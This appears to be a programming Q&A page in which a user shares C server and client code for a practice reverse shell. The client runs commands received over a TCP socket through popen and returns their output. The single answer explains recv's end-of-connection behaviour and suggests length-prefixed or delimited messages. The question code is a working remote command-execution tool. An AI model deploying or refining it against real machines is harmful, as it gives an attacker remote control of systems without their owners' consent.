C recv function blocking loop from repeating after receiving everything (sys/socket)

480 Views Asked by At

I am working on a reverse shell (for practice) and I'm trying to send the output of the popen function back to the server. For some reason, when I loop through the file and send it, the (server recv) loop doesn't break when it stops receiving messages. Could anyone find my error. and help me fix it? Code for the server:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

#define PORT 4583


int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    bind(sock, (struct sockaddr *) &server, sizeof(server));
    listen(sock, 2);
    int client = accept(sock, NULL, NULL);
    char * command = (char *) malloc(75);
    char * output = (char * ) malloc (5000);
    ssize_t size;
    while (1){
        printf(">> ");
        fgets(command, 75, stdin);
        send(client, command, strlen(command), 0);
        while((size = recv(client, output, 5000, 0)) != 0){
            printf("%s", output);
            if (size == 0){
                break;
            }
        }
        printf("Done");
    }
    free(command);
    free(output);
    return 0;
}

Code for the client:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 4583

int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    connect(sock, (struct sockaddr *) &server, sizeof(server));

    char* command = (char *) malloc(75);
    int commandlen;
    char* output = (char *) malloc (5000);
    while (1){
        recv(sock, command, 75, 0);
        commandlen = strlen(command);
        if (*command == 'c' && *command+1 == 'd'){
            command[commandlen-1] = '\0';
            int stat = chdir(command+3);
            if (stat != 0){
                output = strerror(errno);
                send(sock, output, 5000, 0);
            } else {
                send(sock, 0, 0, 0);
            }
        } else{
            FILE * cmd = popen(command, "r");
            while (fgets(output, 5000, cmd) != NULL){
                send(sock, output, 5000, 0);
            }
            pclose(cmd);
        }
    }
    free(output);
    free(command);

    return 0;
}
1

There are 1 best solutions below

2
On BEST ANSWER
    while((size = recv(client, output, 5000, 0)) != 0){

Your expectation is that recv returns 0 when the client is "done". But the only "done" from the perspective of TCP is if the TCP connection is closed and only then recv will return 0. Only, your client does not close the connections after a command is handled but it will instead expect the next command.

In order to fix this you need to implement some message protocol on top of TCP so that you know when the command output is actually done. Typical ways to do this are to prefix each message with their length or to end each message with some unique end-of-message byte sequence.